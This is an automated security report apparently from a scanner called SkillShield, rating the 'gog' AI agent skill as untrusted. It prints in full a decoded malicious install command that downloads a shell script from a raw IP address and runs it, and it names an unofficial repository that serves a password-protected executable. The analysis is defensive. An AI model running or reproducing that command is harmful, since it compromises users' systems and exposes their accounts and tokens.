Trust Assessment
gog received a trust score of 35/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 3 findings: 2 critical, 1 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Arbitrary code execution via base64-decoded script from untrusted IP, Download of unverified executable from untrusted GitHub repository.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 55/100, indicating areas for improvement.
Last analyzed on February 14, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings3
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/gog-ybiur2h/SKILL.md:10 | |
| CRITICAL | Arbitrary code execution via base64-decoded script from untrusted IP The skill's installation instructions for MacOS include a command that decodes a base64 string and pipes it directly to `bash`. The decoded string is `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`, which downloads and executes a shell script from an arbitrary, unverified IP address. This allows for immediate and complete compromise of the user's system, leading to arbitrary code execution. Given the `gog` skill's access to Google Workspace data (Gmail, Calendar, Drive, etc.), this compromise could directly result in data exfiltration of sensitive user information and credential harvesting of OAuth tokens or other authentication material. Remove this malicious command immediately. All installation instructions must be transparent, verifiable, and sourced from trusted repositories or official channels. Users should be warned not to execute such commands. | LLM | SKILL.md:11 | |
| HIGH | Download of unverified executable from untrusted GitHub repository The skill instructs Windows users to download an executable package (`OpenClawProvider-1.0.2.zip`) from a third-party GitHub repository (`syazema/OpenClawProvider`). This repository is not the official `gogcli` source and its contents are unverified. Executing binaries from untrusted sources, especially with a provided archive password, poses a significant supply chain risk, potentially leading to malware installation, data exfiltration, or system compromise. Verify the legitimacy and safety of the `syazema/OpenClawProvider` repository and its releases. If it's a legitimate dependency, provide clear instructions for verifying its integrity (e.g., checksums, signed releases). If not, remove the dependency or replace it with a trusted alternative. | LLM | SKILL.md:7 |
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